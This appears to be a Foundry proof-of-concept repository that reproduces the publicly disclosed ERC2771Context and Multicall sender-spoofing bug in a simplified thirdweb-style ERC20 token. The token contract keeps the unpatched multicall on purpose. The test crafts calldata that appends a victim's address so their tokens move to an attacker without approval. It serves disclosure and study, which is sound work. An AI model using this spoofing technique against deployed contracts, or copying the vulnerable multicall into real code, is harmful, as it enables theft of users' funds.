├── .github └── workflows │ └── test.yml ├── .gitignore ├── .gitmodules ├── README.md ├── foundry.toml ├── script └── Counter.s.sol ├── src ├── Forwarder.sol └── ThirdWebSimpleERC20.sol └── test └── ThirdWebSimpleErc20.t.sol /.github/workflows/test.yml: -------------------------------------------------------------------------------- 1 | name: test 2 | 3 | on: workflow_dispatch 4 | 5 | env: 6 | FOUNDRY_PROFILE: ci 7 | 8 | jobs: 9 | check: 10 | strategy: 11 | fail-fast: true 12 | 13 | name: Foundry project 14 | runs-on: ubuntu-latest 15 | steps: 16 | - uses: actions/checkout@v3 17 | with: 18 | submodules: recursive 19 | 20 | - name: Install Foundry 21 | uses: foundry-rs/foundry-toolchain@v1 22 | with: 23 | version: nightly 24 | 25 | - name: Run Forge build 26 | run: | 27 | forge --version 28 | forge build --sizes 29 | id: build 30 | 31 | - name: Run Forge tests 32 | run: | 33 | forge test -vvv 34 | id: test 35 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Compiler files 2 | cache/ 3 | out/ 4 | 5 | # Ignores development broadcast logs 6 | !/broadcast 7 | /broadcast/*/31337/ 8 | /broadcast/**/dry-run/ 9 | 10 | # Docs 11 | docs/ 12 | 13 | # Dotenv file 14 | .env 15 | -------------------------------------------------------------------------------- /.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "lib/forge-std"] 2 | path = lib/forge-std 3 | url = https://github.com/foundry-rs/forge-std 4 | [submodule "lib/openzeppelin-contracts"] 5 | path = lib/openzeppelin-contracts 6 | url = https://github.com/OpenZeppelin/openzeppelin-contracts 7 | [submodule "lib/halmos-cheatcodes"] 8 | path = lib/halmos-cheatcodes 9 | url = https://github.com/a16z/halmos-cheatcodes 10 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Foundry POC that shows how the thirdweb contracts are exploited due to the wrong use of Openzeppelin ERC2771 with Multicall 2 | 3 | The repository contains three main contracts 4 | 5 | 1. Forwarder.sol - Mimics the working of a relayer, the attacker calls the function on it and it forwards the call to the erc20 token. 6 | 2. ThirdWebErc20.sol - It is a simplified contract that has the vulnerable multi-call functionality and inherits from open zeppelin ERC2771Context, and together both these make the token vulnerable. 7 | 8 | ## Working 9 | Let's say two users cats and nirlin have been minted 100 tokens each. 10 | 11 | Now cats decide to go crazy and rogue and decide to wear a blackhat, cats can craft a set of a malicious transfer transaction, where each inner transaction have nirlin address appened to it, these will pass all the system validation and will transfer the tokens of nirlin to cats without any approval. 12 | 13 | You can read more about the details of how this works in the following breakdowns: 14 | 15 | - [Openzeppelin Down](https://blog.openzeppelin.com/arbitrary-address-spoofing-vulnerability-erc2771context-multicall-public-disclosure) 16 | - [Thirdweb Breakdown](https://blog.thirdweb.com/vulnerability-report/) 17 | - [Cygaar](https://x.com/0xCygaar/status/1732982606537609249?s=20) 18 | 19 | ## Usage 20 | 21 | ### Build 22 | 23 | ```shell 24 | $ forge build 25 | ``` 26 | 27 | ### Test 28 | 29 | ```shell 30 | $ forge test --match-test testMaliciousTransfer -vv 31 | ``` 32 | 33 | -------------------------------------------------------------------------------- /foundry.toml: -------------------------------------------------------------------------------- 1 | [profile.default] 2 | src = "src" 3 | out = "out" 4 | libs = ["lib"] 5 | 6 | # See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options 7 | -------------------------------------------------------------------------------- /script/Counter.s.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: UNLICENSED 2 | pragma solidity ^0.8.13; 3 | 4 | import {Script, console2} from "forge-std/Script.sol"; 5 | 6 | contract CounterScript is Script { 7 | function setUp() public {} 8 | 9 | function run() public { 10 | vm.broadcast(); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /src/Forwarder.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | import "forge-std/console.sol"; 4 | 5 | // A simple forwarder contract that mimic the actual relayer contracts. 6 | contract Forwarder { 7 | // the token address to target to 8 | address public target; 9 | address public trustedForwarder; 10 | 11 | constructor() { 12 | 13 | } 14 | 15 | function setTarget(address _target) public { 16 | target = _target; 17 | } 18 | 19 | function forwardCall( bytes memory data) public returns (bytes memory response) { 20 | 21 | (bool success, bytes memory _response) = target.call(data); 22 | require(success, "Call failed"); 23 | return _response; 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /src/ThirdWebSimpleERC20.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: Unlicense 2 | pragma solidity ^0.8.0; 3 | // ERC20 4 | import "../lib/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; 5 | // 2771 context 6 | import "../lib/openzeppelin-contracts/contracts/metatx/ERC2771Context.sol"; 7 | import {Address} from "../lib/openzeppelin-contracts/contracts/utils/Address.sol"; 8 | import "forge-std/console.sol"; 9 | 10 | contract ThirdWebSimpleERC20 is ERC20, ERC2771Context { 11 | 12 | // passing in the trusted forwarder address to the constructor of ERC2771Context 13 | constructor( 14 | string memory name_, 15 | string memory symbol_, 16 | address trustedForwarder_ 17 | ) ERC20(name_, symbol_) ERC2771Context(trustedForwarder_) {} 18 | 19 | // mint function to mint tokens to an address 20 | function mint(address to, uint256 amount) external { 21 | _mint(to, amount); 22 | } 23 | 24 | // override the _msgSender() to use the ERC2771Context _msgSender() 25 | function _msgSender() 26 | internal 27 | view 28 | override(Context, ERC2771Context) 29 | returns (address sender) 30 | { 31 | return ERC2771Context._msgSender(); 32 | } 33 | 34 | // override the _msgData() to use the ERC2771Context _msgData() 35 | function _msgData() 36 | internal 37 | view 38 | override(Context, ERC2771Context) 39 | returns (bytes calldata) 40 | { 41 | return ERC2771Context._msgData(); 42 | } 43 | 44 | // override the _contextSuffixLength() to use the ERC2771Context _contextSuffixLength() 45 | function _contextSuffixLength() 46 | internal 47 | pure 48 | override(ERC2771Context, Context) 49 | returns (uint256) 50 | { 51 | return 20; 52 | } 53 | 54 | // the multicall function from old openzeppelin version, in new version vulberability have been patched. 55 | function multicall( 56 | bytes[] calldata data 57 | ) external returns (bytes[] memory results) { 58 | results = new bytes[](data.length); 59 | for (uint256 i = 0; i < data.length; i++) { 60 | results[i] = Address.functionDelegateCall(address(this), data[i]); 61 | } 62 | 63 | return results; 64 | } 65 | } 66 | -------------------------------------------------------------------------------- /test/ThirdWebSimpleErc20.t.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.0; 3 | import {console2, Test} from "forge-std/Test.sol"; 4 | import {ThirdWebSimpleERC20} from "../src/ThirdWebSimpleERC20.sol"; 5 | import {Forwarder} from "../src/Forwarder.sol"; 6 | 7 | contract ThirdWebSimpleERC20Test is Test{ 8 | ThirdWebSimpleERC20 public token; 9 | Forwarder public forwarder; 10 | 11 | address nirlin = address(0x1A1da7Be44D477a887341Dc3EBC09A45798c7752); 12 | address cats = address(0x16); 13 | address trustedForwarder; 14 | 15 | // deploy the contract and mint token to nirlin and cats 16 | function setUp() public { 17 | // deploy the forwarder 18 | forwarder = new Forwarder(); 19 | // set the forwarder as trusted forwarder - this is extra step, instead pass directly 20 | trustedForwarder = address(forwarder); 21 | // pass in the address of trusted forwarder with deployment 22 | token = new ThirdWebSimpleERC20("ThirdWebSimpleERC20", "TWS", trustedForwarder); 23 | // on forwarder we set the target token address 24 | forwarder.setTarget(address(token)); 25 | 26 | // mint 100 tokens to cats and nirlin 27 | token.mint(nirlin, 100e18); 28 | token.mint(cats, 100e18); 29 | } 30 | 31 | function testMaliciousTransfer() public { 32 | //cats and nirlin balances before 33 | uint256 catsBalanceBefore = token.balanceOf(cats); 34 | uint256 nirlinBalanceBefore = token.balanceOf(nirlin); 35 | //log 36 | console2.log("********Before Attack***********"); 37 | console2.log("cats balance before: %s", catsBalanceBefore); 38 | console2.log("nirlin balance before: %s", nirlinBalanceBefore); 39 | 40 | 41 | // craft a payload which for transfer 42 | bytes[] memory data = new bytes[](2); 43 | // crafting two transfer calls, where we appended the nirlin to calls, to simulate the attack and system will assume that nirlin called these functions instead of cast 44 | data[0] = abi.encodePacked(abi.encodeWithSignature("transfer(address,uint256)", cats, 50e18),address(nirlin)); 45 | data[1] = abi.encodePacked(abi.encodeWithSignature("transfer(address,uint256)", cats, 50e18),address(nirlin)); 46 | 47 | // call the forwardCall function on forwarder with the data and sender appended as cats 48 | // Here the original caller is cats but inner function calls in data have nirlin as caller which is not validate 49 | vm.startPrank(cats); 50 | forwarder.forwardCall(abi.encodePacked(abi.encodeWithSignature("multicall(bytes[])", data),address(cats))); 51 | vm.stopPrank(); 52 | //cats and nirlin balances after 53 | uint256 catsBalanceAfter = token.balanceOf(cats); 54 | uint256 nirlinBalanceAfter = token.balanceOf(nirlin); 55 | 56 | //log 57 | console2.log(""); 58 | console2.log(""); 59 | 60 | console2.log("********After Attack***********"); 61 | console2.log("cats balance after: %s", catsBalanceAfter); 62 | console2.log("nirlin balance after: %s", nirlinBalanceAfter); 63 | 64 | // assert that nirlin balance from the contract have been actually hacked. 65 | assert(catsBalanceAfter == 200e18); 66 | assert(nirlinBalanceAfter == 0); 67 | 68 | 69 | 70 | 71 | 72 | 73 | } 74 | } 75 | 76 | --------------------------------------------------------------------------------